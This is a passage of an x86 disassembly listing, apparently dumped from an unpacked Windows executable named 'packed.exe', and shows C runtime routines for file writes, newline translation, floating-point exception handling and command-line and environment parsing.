loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 2680C22h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	near ptr 2680C22h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 264106Ch
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 264106Ch
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 282113Ah
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670630h
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
